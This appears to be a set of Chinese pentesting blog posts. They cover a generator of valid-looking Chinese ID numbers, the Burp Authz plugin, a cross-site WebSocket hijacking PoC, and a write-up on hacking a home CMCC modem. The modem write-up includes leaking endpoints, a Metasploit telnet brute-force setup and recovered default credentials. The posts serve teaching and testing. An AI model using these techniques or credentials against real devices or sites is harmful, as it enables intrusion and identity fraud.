def test(id_num): id_code_list = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] check_code_list = [1, 0, 'X', 9, 8, 7, 6, 5, 4, 3, 2] a = 0 print(len(id_num)) for i in range(17): a = a + (int(id_num[i]) * id_code_list[int(i)]) print(check_code_list[a % 11])

整合一下（Copy）就变成了如下完整的代码：

def genIdCard(age,gender): area_code = ('%s' % random.choice(list(area_dict.keys()))) id_code_list = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] check_code_list = [1, 0, 'X', 9, 8, 7, 6, 5, 4, 3, 2] if str(area_code) not in area_dict.keys(): return None datestring = str(date(date.today().year - age, 1, 1) + timedelta(days=random.randint(0, 364))).replace("-", "") rd = random.randint(0, 999) if gender == 0: gender_num = rd if rd % 2 == 0 else rd + 1 else: gender_num = rd if rd % 2 == 1 else rd - 1 result = str(area_code) + datestring + str(gender_num).zfill(3) b = result + str(check_code_list[sum([a * b for a, b in zip(id_code_list, [int(a) for a in result])]) % 11]) return b 参考

https://www.cnblogs.com/evening/archive/2012/04/19/2457440.html

https://www.cnblogs.com/thunderLL/p/7682148.html

https://blog.csdn.net/ak739105231/article/details/83932151

https://github.com/jayknoxqu/id-number-util

https://blog.csdn.net/tobacco5648/article/details/50613025

https://github.com/xbeginagain/generator

BurpSuite - Authz 背景

在平时的测试中，会经常的碰到业务功能较多的站点，如果想全面又快速的完成逻辑越权漏洞的检测不得不借助Authz插件去辅助检测越权问题。

Authz的工作原理

我们平时做测试的时候发现越权问题都是基于修改ID的方式：A的ID改成B的ID然后进行请求查看是否可以越权获取到信息，或当ID的规律已知情况下基于Burp Intruder模块直接去遍历ID。而基于Authz的检测是不一样的，其是将用户认证的HTTP请求头进行修改（Cookie之类的），然后通过响应长度、响应状态码判断是否存在越权；从本质上来讲没有任何区别，只是换了一个角度，但这样的好处是一定程度上的减少了测试的时间（例如：一个商城的业务系统，你有A、B账户，A账户买了个商品获得一个订单信息请求，当你想测试是否能越权获取B账户订单时就需要使用B账户去再购买，然后判断测试。）

BurpSuite Authz插件界面

安装Authz插件

Github地址：https://github.com/portswigger/authz

快速安装->在BurpSuite的BApp Store应用市场可以直接下载安装：

使用Authz插件检测

使用插件检测的前提条件：同个业务系统中两个测试账号

作用：A账户用于功能的操作，B账户用于提供凭证（Cookie或者其他的用户身份凭证请求头）

举例说明：

一个业务系统，将A、B账户登入，同时获取B账户的Cookie或者其他的用户身份凭证请求头，填入到Authz的New Header里：

A账户去请求（Burp别忘了监听着），寻找读取类请求（该类请求要包含ID之类的特征）然后右键请求包将该请求发送到Authz插件内：

发送的请求会在Burp的Authz的Tab标签窗口内：

当收集的差不多了，点击run跑起来：

结果会在Responses处显示：

当原响应内容长度、响应状态码和被修改后请求的响应内容长度、响应状态码一致则会绿。

也就代表着存在越权，单击选择一行即可在下面展示出请求、响应的报文：

这里经过进一步检验（理论上不需要检验，但出于对测试的严谨态度还是检验一下比较好～）顺利的发现了三枚越权访问漏洞。

一个业务系统测完之后就Clear掉所有的东西，接着下一个业务系统咯：

Authz的优点和缺点总结

优点：使用简单、省时省力

缺点：只是适用于检测越权读取类操作，删除编辑类操作还需人工判断。

WebSocket 跨域劫持漏洞

WebSocket 跨域劫持漏洞，英文名：Cross-site WebSocket Hijacking，漏洞类型：全能型CSRF（可读、可写）。

了解WebSocket Websocket 优点

1. 支持双向通信，实时性更强。
2. 更好的二进制支持。
3. 较少的控制开销。连接创建后，ws客户端、服务端进行数据交换时，协议控制的数据包头部较小。在不包含头部的情况下，服务端到客户端的包头只有2~10字节（取决于数据包长度），客户端到服务端的话，需要加上额外4字节的掩码。而HTTP协议每次通信都需要携带完整的头部。
4. 支持扩展。ws协议定义了扩展，用户可以扩展协议，或者实现自定义的子协议。（比如支持自定义压缩算法等）

Websocket 如何建立连接

画了一张图让你了解：

漏洞产生

建立Websocket连接无验证。

案例

1.如下请求：

GET / HTTP/1.1 Host: localhost:8080 Origin: http://127.0.0.1:3000 Connection: Upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: w4v7O6xFTi36lq3RNcgctw==

篡改Origin，发现没有对Origin进行验证，也可以跨域进行协议升级。

2.进一步验证

2.1获取到了一个发送评论的请求 （使用BurpSuite->Proxy模块->Websockets History查看，这里是对应的 Direction值为Outgoing为发出的请求，Incoming为发出请求对应的响应信息）

2.2使用JavaScript创建Websocket请求

如上图所示Outgoing的内容为“我是帅key的可爱小迷弟”，那么发送的数据就是这个。

<meta charset="utf-8"> <script> function ws_attack(){ var ws = new WebSocket("ws://域名:端口/");//如果请求的Websocket服务仅支持HTTP就写成ws://，如果请求的Websocket服务支持HTTPs就写成wss:// ws.onopen = function(evt) { ws.send("我是帅key的可爱小迷弟！"); }; ws.onmessage = function(evt) { ws.close(); }; } ws_attack(); </script>

2.3验证发现可以请求并成功进行重放，存在Websocket跨域劫持

（这里只是简单的评论请求，危害就是：点我链接让你评论我想评论的，试想：如果是修改密码的WebSocket请求存在劫持那么问题就大了～）

漏洞利用

攻击流程跟以往的交互类漏洞没什么区别（点我链接读取你XXX、点我链接让你XXX）：

来一个圈子”铸剑实战靶场”的截图，自我体会：

PoC代码编写 <meta charset="utf-8"> <script> function ws_attack(){//自定义函数ws_attack //定义函数功能 //创建WebSocket并赋值给ws变量 var ws = new WebSocket("ws://域名:端口/");//如果请求的Websocket服务仅支持HTTP就写成ws://，如果请求的Websocket服务支持HTTPs就写成wss:// ws.onopen = function(evt) { //当ws(WebSocket)处于连接状态时执行 ws.send("我是帅key的可爱小迷弟！"); }; ws.onmessage = function(evt) { //当ws(WebSocket)请求有响应信息时执行 //注意：响应的信息可以通过evt.data获取！例如：alert(evt.data); ws.close(); }; } ws_attack();//执行ws_attact函数 </script> 修复方法

综合建议：校验Origin头

Reference

https://www.cnblogs.com/chyingp/p/websocket-deep-in.html

前言

过个年，WiFi密码忘记了…光猫管理密码也忘记了（这个光猫也不支持物理按钮重置设置），但是手机还连着WiFi，正规操作找回不了密码，那就用咱们测试的思维来试试PWN掉这个路由器。

过程 未授权获取WiFi连接密码

还好之前没闲着，发现管理的几个未授权访问的接口如下:

获取宽带账号密码: /GET_USER_WAN_PPP_INFO.json

获取 WLAN 连接信息: /GET_WLAN_LINK_INFO.json

获取 DHCP 信息: /GET_NET_DHCP_INFO.json

手机访问 http://192.168.1.1/GET_WLAN_LINK_INFO.json ，获取密码：xxx，电脑连接登录

信息收集 端口收集结果 Scanning promote.cache-dns.local (192.168.1.1) [1080 ports] Discovered open port 80/tcp on 192.168.1.1 Discovered open port 8080/tcp on 192.168.1.1 目录扫描结果

获得的一些目录：

/login.html /login.asp /index.asp /telnet.asp /upgrade.asp ... 突破口

在目录扫描的时候，发现/telnet.asp -> 跳转到 /cgi-bin/telnet.asp 如下图所示界面：

这个功能可以开启光猫的telnet服务，先开启，然后再使用Nmap扫描下端口：

Scanning promote.cache-dns.local (192.168.1.1) [1080 ports] Discovered open port 8080/tcp on 192.168.1.1 Discovered open port 80/tcp on 192.168.1.1 Discovered open port 8023/tcp on 192.168.1.1

发现多了个8023端口，其对应的服务果然是telnet：

8023/tcp open telnet | fingerprint-strings: | GenericLines: | Star-Net Broadband Router | Login: | Password: | GetRequest: | Star-Net Broadband Router | Login: GET / HTTP/1.0 | Password: | Help: | HELP | Star-Net Broadband Router | Login: Password: | NCP: | Star-Net Broadband Router | Login: DmdT^@^@^@ | ^@^@^@^A^@^@^@^@^@ | NULL: | Star-Net Broadband Router | Login: | RPCCheck: | Star-Net Broadband Router | Login: | ^@^@(r | SIPOptions: | Star-Net Broadband Router | Login: OPTIONS sip:nm SIP/2.0 | Via: SIP/2.0/TCP nm;branch=foo | From: <sip:nm@nm>;tag=root | <sip:nm2@nm2> | Call-ID: 50000 | CSeq: 42 OPTIONS | Max-Forwards: 70 | Content-Length: 0 | Contact: <sip:nm@nm> | Accept: application/sdp | Password: | tn3270: | ^@IBM-3279-4-E | ^YStar-Net Broadband Router |_ Login:

telnet开启，爆破一波走起。（Caimima生成个密码口令）

试了nmap貌似没啥用，开个msfconsole来爆破：

use auxiliary/scanner/telnet/telnet_login set RHOSTS 192.168.1.1 #设置模板 set RPORT 8023 #设置端口 set USER_FILE /root/user.txt #设置用户字典 set PASS_FILE /root/pass.txt #设置密码字典 exploit 192.168.1.1 #启动

幸运的是爆破出来了，是组合弱口令：

获取密码

运行telnet 192.168.1.1 8023输入账号密码进去，执行sh发现可以直接进入shell：

接下来就是找密码到处瞎翻（没有PWN路由器的经验，很难受），执行 ls -a -l 发现有软链接，很多指向了/tmp目录：

于是进入/tmp目录，到处翻腾：

利用这几个关键词看看是否有文件中包含了：admin、CMCC(中国移动)、password、user

e.g. grep 'admin' ./*，等了老半天了，发现/tmp/ctromfile.cfg文件内有点东西：

复制密码登录，怼进去：

信息整合

做完测试并针对测试过程的信息进行整合，最后形成字典以便后面再次遇到～

• 通过读配置文件获取的一系列用户名、密码：9vvrr、admin、aDm8H%MdA、CMCCAdmin、telnetuser、user

• 文件、目录路径：
  • /GET_USER_WAN_PPP_INFO.json
  • /GET_WLAN_LINK_INFO.json
  • /GET_NET_DHCP_INFO.json
  • /telnet.asp
  • /index.asp
  • /user.html
  • /upgrade.asp
  • /cgi-bin/
  • /content.asp
• 指纹特征：
  • 标题：HGU LOGIN
  • 图片：/webstyle/images/login-mobile-qrcode-anhui.png -> 23cb4f5e63e0cd47f8788a6ca3558eab
  • JS：/webstyle/js/br_login_nc.js

结尾

最后我只是默默的把user用户密码改了一下～